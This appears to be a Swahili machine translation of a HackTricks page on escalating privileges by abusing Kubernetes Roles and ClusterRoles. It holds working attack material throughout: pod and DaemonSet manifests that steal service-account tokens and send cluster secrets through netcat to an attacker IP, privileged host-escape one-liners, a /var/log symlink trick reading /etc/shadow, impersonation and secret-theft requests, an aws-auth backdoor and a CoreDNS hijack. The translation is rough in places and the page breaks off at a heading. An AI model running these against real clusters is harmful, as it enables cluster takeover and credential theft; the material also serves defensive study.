Abusing Roles/ClusterRoles in Kubernetes

Reading time: 27 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Hapa unaweza kupata baadhi ya mipangilio ya Roles na ClusterRoles ambayo inaweza kuwa hatari.
Kumbuka kwamba unaweza kupata rasilimali zote zinazoungwa mkono kwa kubectl api-resources

Privilege Escalation

Inarejelea sanaa ya kupata ufikiaji wa principal tofauti ndani ya klasta ikiwa na mamlaka tofauti (ndani ya klasta ya kubernetes au kwa mawingu ya nje) kuliko zile ulizo nazo tayari, katika Kubernetes kuna k基本 mbinu 4 kuu za kupandisha mamlaka:

  • Kuwa na uwezo wa kujifanya mtumiaji/katika makundi/SAs wengine wenye mamlaka bora ndani ya klasta ya kubernetes au kwa mawingu ya nje
  • Kuwa na uwezo wa kuunda/kurekebisha/kutekeleza pods ambapo unaweza kupata au kuunganisha SAs wenye mamlaka bora ndani ya klasta ya kubernetes au kwa mawingu ya nje
  • Kuwa na uwezo wa kusoma siri kwani token za SAs zimehifadhiwa kama siri
  • Kuwa na uwezo wa kutoroka hadi kwenye node kutoka kwenye kontena, ambapo unaweza kuiba siri zote za kontena zinazotembea kwenye node, akidi za node, na ruhusa za node ndani ya wingu inayoendesha (ikiwa ipo)
  • Mbinu ya tano ambayo inastahili kutajwa ni uwezo wa kukimbia port-forward katika pod, kwani unaweza kuwa na uwezo wa kufikia rasilimali za kuvutia ndani ya pod hiyo.

Access Any Resource or Verb (Wildcard)

wildcard (*) inatoa ruhusa juu ya rasilimali yoyote na kitenzi chochote. Inatumika na wasimamizi. Ndani ya ClusterRole hii inamaanisha kwamba mshambuliaji anaweza kutumia anynamespace katika klasta

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Access Any Resource with a specific verb

In RBAC, ruhusa fulani zina hatari kubwa:

  1. create: Inatoa uwezo wa kuunda rasilimali yoyote ya klasta, ikihatarisha kupanda kwa mamlaka.
  2. list: Inaruhusu kuorodhesha rasilimali zote, ikihatarisha kuvuja kwa data nyeti.
  3. get: Inaruhusu kufikia siri kutoka kwa akaunti za huduma, ikileta tishio la usalama.
yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Mshambuliaji mwenye ruhusa za kuunda pod, anaweza kuunganisha Akaunti ya Huduma yenye mamlaka ndani ya pod na kuiba token ili kujifanya kuwa Akaunti ya Huduma. Kwa ufanisi anapandisha mamlaka kwake.

Mfano wa pod ambayo itakuwa na uwezo wa kuiba token ya akaunti ya huduma bootstrap-signer na kuisafirisha kwa mshambuliaji:

yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

Ifuatayo inaonyesha haki zote ambazo kontena inaweza kuwa nazo:

  • Privileged access (kuondoa ulinzi na kuweka uwezo)
  • Disable namespaces hostIPC and hostPid ambazo zinaweza kusaidia kuongeza haki
  • Disable hostNetwork namespace, ikitoa ufikiaji wa kuiba haki za wingu za nodi na ufikiaji bora wa mitandao
  • Mount hosts / inside the container
super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Unda pod na:

bash
kubectl --token $token create -f mount_root.yaml

Moja ya mistari kutoka hiki tweet na nyongeza kadhaa:

bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Stealth

Huenda unataka kuwa stealthier, katika kurasa zinazofuata unaweza kuona kile ambacho utaweza kufikia ikiwa utaunda pod kwa kuwezesha baadhi ya ruhusa zilizotajwa katika kiolezo kilichopita:

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

Unaweza kupata mfano wa jinsi ya kuunda/kutumia vibaya mipangilio ya pods zilizopatiwa ruhusa katika https://github.com/BishopFox/badPods

Pod Create - Move to cloud

Ikiwa unaweza kuunda pod (na hiari akaunti ya huduma) unaweza kuwa na uwezo wa kupata ruhusa katika mazingira ya wingu kwa kuteua majukumu ya wingu kwa pod au akaunti ya huduma na kisha kuifikia.
Zaidi ya hayo, ikiwa unaweza kuunda pod yenye nafasi ya mtandao wa mwenyeji unaweza kuiba IAM jukumu la node instance.

Kwa maelezo zaidi angalia:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

Inawezekana kutumia vibaya ruhusa hizi ili kuunda pod mpya na kuanzisha ruhusa kama katika mfano wa awali.

Yaml ifuatayo inaunda daemonset na inatoa token ya SA ndani ya pod:

yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec ni rasilimali katika kubernetes inayotumika kwa kukimbia amri katika shell ndani ya pod. Hii inaruhusu kukimbia amri ndani ya kontena au kupata shell ndani.

Hivyo, inawezekana kuingia ndani ya pod na kuiba token ya SA, au kuingia pod yenye mamlaka, kutoroka hadi kwenye node, na kuiba token zote za pods katika node na (ku)itumia node:

bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

note

Kwa default amri inatekelezwa katika kontena la kwanza la pod. Pata pods zote katika kontena kwa kutumia kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' na kisha onyesha kontena ambapo unataka kutekeleza kwa kutumia kubectl exec -it <pod_name> -c <container_name> -- sh

Ikiwa ni kontena lisilo na mfumo wa uendeshaji unaweza kujaribu kutumia shell builtins kupata taarifa za kontena au kupakia zana zako mwenyewe kama busybox kwa kutumia: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

Ruhusa hii inaruhusu kupeleka bandari moja ya ndani kwa bandari moja katika pod iliyoainishwa. Hii inakusudiwa kuwezesha kufuatilia programu zinazotembea ndani ya pod kwa urahisi, lakini mshambuliaji anaweza kuitumia vibaya kupata ufikiaji wa programu za kuvutia (kama DBs) au programu zenye udhaifu (webs?) ndani ya pod:

bash
kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Kama ilivyoonyeshwa katika utafiti huu, ikiwa unaweza kufikia au kuunda pod yenye directories ya hosts /var/log/ imewekwa juu yake, unaweza kutoroka kutoka kwenye kontena.
Hii ni kwa sababu wakati Kube-API inajaribu kupata logi ya kontena (kwa kutumia kubectl logs <pod>), inafanya ombwe la faili 0.log la pod kwa kutumia kiunganishi cha /logs/ cha huduma ya Kubelet.
Huduma ya Kubelet inatoa kiunganishi cha /logs/ ambacho kimsingi ni kuonyesha mfumo wa faili wa /var/log wa kontena.

Kwa hivyo, mshambuliaji mwenye ufikiaji wa kuandika katika folda /var/log/ ya kontena anaweza kutumia tabia hii kwa njia 2:

  • Kubadilisha faili 0.log la kontena lake (ambalo kawaida liko katika /var/logs/pods/namespace_pod_uid/container/0.log) kuwa symlink inayoelekeza kwenye /etc/shadow kwa mfano. Kisha, utaweza kutoa faili la kivuli cha hosts kwa kufanya:
bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Ikiwa mshambuliaji anadhibiti kiongozi yeyote mwenye idhini za kusoma nodes/log, anaweza tu kuunda symlink katika /host-mounted/var/log/sym hadi / na wakati anapofikia https://<gateway>:10250/logs/sym/ atataja mfumo wa faili wa mizizi wa mwenyeji (kubadilisha symlink kunaweza kutoa ufikiaji wa faili).
bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Maabara na exploit ya otomatiki inaweza kupatikana katika https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Kupita ulinzi wa readOnly

Ikiwa una bahati na uwezo wa juu wa `CAP_SYS_ADMIN upo, unaweza tu kuunganisha tena folda hiyo kama rw:

bash
mount -o rw,remount /hostlogs/

Bypassing hostPath readOnly protection

Kama ilivyoelezwa katika utafiti huu inawezekana kupita ulinzi:

yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Ambayo ilikusudia kuzuia kutoroka kama zile za awali kwa, badala ya kutumia mtego wa hostPath, kutumia PersistentVolume na PersistentVolumeClaim ili kuunganisha folda ya mwenyeji ndani ya kontena kwa ufikiaji wa kuandika:

yaml
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Kujifanya kuwa akaunti zenye mamlaka

Kwa kutumia kujifanya kuwa mtumiaji mamlaka, mshambuliaji anaweza kujifanya kuwa akaunti yenye mamlaka.

Tumia tu parameter --as=<username> katika amri ya kubectl kujifanya kuwa mtumiaji, au --as-group=<group> kujifanya kuwa kundi:

bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Au tumia API ya REST:

bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listing Secrets

Ruhusa ya kuorodhesha siri inaweza kumruhusu mshambuliaji kusoma siri kwa kufikia kiunganishi cha API ya REST:

bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Kuunda na Kusoma Siri

Kuna aina maalum ya siri ya Kubernetes ya aina kubernetes.io/service-account-token ambayo inahifadhi token za akaunti ya huduma. Ikiwa una ruhusa za kuunda na kusoma siri, na pia unajua jina la akaunti ya huduma, unaweza kuunda siri kama ifuatavyo na kisha kuiba token ya akaunti ya huduma ya mwathirika kutoka kwake:

yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Mfano wa unyakuzi:

bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Kumbuka kwamba ikiwa unaruhusiwa kuunda na kusoma siri katika eneo fulani, akaunti ya huduma ya mwathirika pia lazima iwe katika eneo hilo hilo.

Kusoma siri – kulazimisha vitambulisho vya token

Wakati mshambuliaji mwenye token yenye ruhusa za kusoma anahitaji jina halisi la siri ili kuitumia, tofauti na ruhusa pana ya kuorodhesha siri, bado kuna udhaifu. Akaunti za huduma za default katika mfumo zinaweza kuorodheshwa, kila moja ikihusishwa na siri. Siri hizi zina muundo wa jina: kiambatisho kisichobadilika kinachofuatiwa na token ya alphanumeric ya herufi tano za nasibu (bila kuhesabu wahusika fulani) kulingana na source code.

Token inazalishwa kutoka seti ndogo ya wahusika 27 (bcdfghjklmnpqrstvwxz2456789), badala ya anuwai kamili ya alphanumeric. Kizuizi hiki kinapunguza jumla ya mchanganyiko unaowezekana kuwa 14,348,907 (27^5). Kwa hivyo, mshambuliaji anaweza kutekeleza shambulio la kulazimisha ili kubaini token katika masaa machache, ambayo yanaweza kusababisha kupandishwa vyeo kwa kufikia akaunti za huduma nyeti.

EncrpytionConfiguration katika maandiko wazi

Inawezekana kupata funguo za maandiko wazi za kuandaa data iliyohifadhiwa katika aina hii ya kitu kama:

yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Certificate Signing Requests

Ikiwa una vitenzi create katika rasilimali certificatesigningrequests (au angalau katika certificatesigningrequests/nodeClient). Unaweza kuunda CeSR mpya ya node mpya.

Kulingana na nyaraka inawezekana kuidhinisha ombi hizi kiotomatiki, hivyo katika kesi hiyo huhitaji ruhusa za ziada. Ikiwa sivyo, itabidi uweze kuidhinisha ombi, ambayo inamaanisha sasisha katika certificatesigningrequests/approval na approve katika signers na resourceName <signerNameDomain>/<signerNamePath> au <signerNameDomain>/*

Mfano wa role yenye ruhusa zote zinazohitajika ni:

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Kwa hivyo, na CSR mpya ya node iliyothibitishwa, unaweza kutilia shaka ruhusa maalum za nodes ili kuiba siri na kuinua mamlaka.

Katika post hii na hii moja usanidi wa GKE K8s TLS Bootstrap umewekwa na kusainiwa kiotomatiki na unakiliwa ili kuzalisha ithibitisho ya Node mpya ya K8s na kisha kutumiwa kuimarisha mamlaka kwa kuiba siri.
Ikiwa una mamlaka zilizotajwa unaweza kufanya kitu kama hicho. Kumbuka kwamba mfano wa kwanza unakabiliwa na kosa linalozuia node mpya kufikia siri ndani ya kontena kwa sababu node inaweza kufikia tu siri za kontena zilizowekwa juu yake.

Njia ya kukabili hili ni tu kuunda ithibitisho ya node kwa jina la node ambapo kontena yenye siri za kuvutia imewekwa (lakini angalia tu jinsi ya kufanya hivyo katika post ya kwanza):

bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Wajibu wanaoweza kubadilisha configmaps katika eneo la kube-system kwenye EKS (lazima wawe ndani ya AWS) klasta wanaweza kupata haki za usimamizi wa klasta kwa kubadilisha aws-auth configmap.
Vitenzi vinavyohitajika ni update na patch, au create ikiwa configmap haijaundwa:

bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

warning

Unaweza kutumia aws-auth kwa kuendelea kutoa ufikiaji kwa watumiaji kutoka akaunti nyingine.

Hata hivyo, aws --profile other_account eks update-kubeconfig --name <cluster-name> haifanyi kazi kutoka akaunti tofauti. Lakini kwa kweli aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing inafanya kazi ikiwa utaweka ARN ya klasta badala ya jina tu.
Ili kufanya kubectl ifanye kazi, hakikisha tu unapanga kubeconfig ya waathirika na katika arg za aws exec ongeza --profile other_account_role ili kubectl itumie profaili ya akaunti nyingine kupata token na kuwasiliana na AWS.

CoreDNS config map

Ikiwa una ruhusa za kubadilisha coredns configmap katika eneo la kube-system, unaweza kubadilisha anwani ambazo maeneo yatatatuliwa ili uweze kufanya mashambulizi ya MitM ili kuiba taarifa nyeti au kuingiza maudhui mabaya.

Vitenzi vinavyohitajika ni update na patch juu ya coredns configmap (au config maps zote).

Faili ya kawaida ya coredns ina kitu kama hiki:

yaml
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

Mshambuliaji anaweza kupakua ikifanya kubectl get configmap coredns -n kube-system -o yaml, kuhariri na kuongeza kitu kama rewrite name victim.com attacker.com ili kila wakati victim.com inapotafutwa, kwa kweli attacker.com ndiyo domain itakayofikiwa. Kisha, itatumika ikifanya kubectl apply -f poison_dns.yaml.

Chaguo lingine ni kuhariri tu faili ikifanya kubectl edit configmap coredns -n kube-system na kufanya mabadiliko.

Kuongeza Mamlaka katika GKE

Kuna njia 2 za kutoa ruhusa za K8s kwa wahusika wa GCP. Katika hali yoyote, mhusika pia anahitaji ruhusa container.clusters.get ili kuwa na uwezo wa kukusanya akreditifia za kufikia klasta, au itabidi ujenge faili yako ya kubectl config (fuata kiungo kinachofuata).

warning

Wakati wa kuzungumza na kiunganishi cha K8s api, token ya uthibitisho ya GCP itatumwa. Kisha, GCP, kupitia kiunganishi cha K8s api, kwanza itaangalia kama mhusika (kwa barua pepe) ana ufikiaji wowote ndani ya klasta, kisha itaangalia kama ana ufikiaji wowote kupitia GCP IAM.
Ikiwa yoyote kati ya hizo ni kweli, atajibiwa. Ikiwa siyo ni kosa linalopendekeza kutoa ruhusa kupitia GCP IAM litapelekwa.

Kisha, njia ya kwanza ni kutumia GCP IAM, ruhusa za K8s zina ruhusa sawa za GCP IAM, na ikiwa mhusika ana hiyo, ataweza kuitumia.

GCP - Container Privesc

Njia ya pili ni kutoa ruhusa za K8s ndani ya klasta kwa kutambua mtumiaji kwa barua pepe yake (akaunti za huduma za GCP zimejumuishwa).

Unda token za serviceaccounts

Wahusika wanaoweza kuunda TokenRequests (serviceaccounts/token) Wakati wa kuzungumza na kiunganishi cha K8s api SAs (habari kutoka hapa).

ephemeralcontainers

Wahusika wanaoweza update au patch pods/ephemeralcontainers wanaweza kupata utendaji wa msimbo kwenye pods nyingine, na kwa uwezekano kuvunja kwenye node yao kwa kuongeza kontena ya muda mfupi yenye securityContext yenye mamlaka.

ValidatingWebhookConfigurations au MutatingWebhookConfigurations

Wahusika wenye mojawapo ya vitenzi create, update au patch juu ya validatingwebhookconfigurations au mutatingwebhookconfigurations wanaweza kuwa na uwezo wa kuunda mojawapo ya webhookconfigurations hizo ili waweze kuongeza mamlaka.

Kwa `mfano wa mutatingwebhookconfigurations angalia sehemu hii ya chapisho hili.

Pandisha

Kama unavyoweza kusoma katika sehemu inayofuata: Kuzuia Kuongeza Mamlaka Kwenye Mfumo, mhusika cannot kuhariri wala kuunda roles au clusterroles bila kuwa na ruhusa hizo mpya. Isipokuwa ikiwa ana kitenzi escalate au * juu ya roles au clusterroles na chaguo husika za binding.
Kisha anaweza kuhariri/kuunda roles mpya, clusterroles zenye ruhusa bora kuliko zile alizonazo.

Nodes proxy

Wahusika wenye ufikiaji kwa nodes/proxy subresource wanaweza kutekeleza msimbo kwenye pods kupitia Kubelet API (kulingana na hii). Taarifa zaidi kuhusu uthibitishaji wa Kubelet katika ukurasa huu:

Kubelet Authentication & Authorization

Una mfano wa jinsi ya kupata RCE ukizungumza na Kubelet API hapa.

Futa pods + nodes zisizoweza kupanga

Wahusika wanaoweza kufuta pods (delete verb juu ya pods resource), au kuhamasisha pods (create verb juu ya pods/eviction resource), au kubadilisha hali ya pod (ufikiaji kwa pods/status) na wanaweza kufanya nodes nyingine zisizoweza kupanga (ufikiaji kwa nodes/status) au kufuta nodes (delete verb juu ya nodes resource) na ana udhibiti juu ya pod, wanaweza kuiba pods kutoka kwa nodes nyingine ili ziwe zinatekelezwa katika node iliyovunjika na mshambuliaji anaweza kuiba tokens kutoka kwa pods hizo.

bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Hali za huduma (CVE-2020-8554)

Wajibu wanaoweza kubadilisha services/status wanaweza kuweka uwanja wa status.loadBalancer.ingress.ip ili kutumia CVE-2020-8554 isiyo na suluhisho na kuanzisha MiTM attacks dhidi ya klasta. Mipango mingi ya kupunguza hatari kwa CVE-2020-8554 inazuia huduma za ExternalIP pekee (kulingana na hii).

Hali za Nodes na Pods

Wajibu wenye ruhusa za update au patch juu ya nodes/status au pods/status, wanaweza kubadilisha lebo ili kuathiri vikwazo vya kupanga vinavyotekelezwa.

Kinga ya Kukuza Privilege iliyojengwa ndani

Kubernetes ina mekanismu iliyojengwa ndani ili kuzuia kukuza privilege.

Mfumo huu unahakikisha kwamba watumiaji hawawezi kuongeza privileges zao kwa kubadilisha majukumu au uhusiano wa majukumu. Utekelezaji wa sheria hii unafanyika katika ngazi ya API, ukitoa kinga hata wakati mthibitishaji wa RBAC haupo.

Sheria inasema kwamba mtumiaji anaweza tu kuunda au kubadilisha jukumu ikiwa ana ruhusa zote zinazohitajika na jukumu hilo. Aidha, upeo wa ruhusa za mtumiaji zilizopo lazima ulingane na ule wa jukumu wanajaribu kuunda au kubadilisha: ama kwa kiwango cha klasta kwa ClusterRoles au kufungwa kwenye namespace sawa (au kwa kiwango cha klasta) kwa Roles.

warning

Kuna ubaguzi wa sheria ya awali. Ikiwa wajibu ana kitenzi escalate juu ya roles au clusterroles anaweza kuongeza privileges za majukumu na clusterroles hata bila kuwa na ruhusa hizo mwenyewe.

Pata & Patch RoleBindings/ClusterRoleBindings

caution

Kwa kweli, mbinu hii ilifanya kazi hapo awali, lakini kulingana na majaribio yangu haifanyi kazi tena kwa sababu ile ile iliyoelezwa katika sehemu ya awali. Huwezi kuunda/kubadilisha rolebinding ili kujipa wewe mwenyewe au SA tofauti baadhi ya privileges ikiwa tayari huna.

Ruhusa ya kuunda Rolebindings inamruhusu mtumiaji kuunganisha majukumu na akaunti ya huduma. Ruhusa hii inaweza kupelekea kukuza privilege kwa sababu inaruhusu mtumiaji kuunganisha ruhusa za admin kwa akaunti ya huduma iliyovunjika.

Mashambulizi Mengine

Programu ya proxy ya Sidecar

Kwa kawaida hakuna usimbuaji katika mawasiliano kati ya pods. Uthibitishaji wa pamoja, wa pande mbili, kutoka pod hadi pod.

Unda programu ya proxy ya sidecar

Kontena ya sidecar inajumuisha kuongeza kontena ya pili (au zaidi) ndani ya pod.

Kwa mfano, ifuatayo ni sehemu ya usanidi wa pod yenye kontena 2:

yaml
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

Kwa mfano, ili kuingiza backdoor kwenye pod iliyopo na kontena mpya unaweza kuongeza kontena mpya katika maelezo. Kumbuka kwamba unaweza kutoa ruhusa zaidi kwa kontena ya pili ambayo ya kwanza haitaweza kuwa nayo.

Taarifa zaidi kwenye: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Mdhibiti wa Kuingiza Mbaya

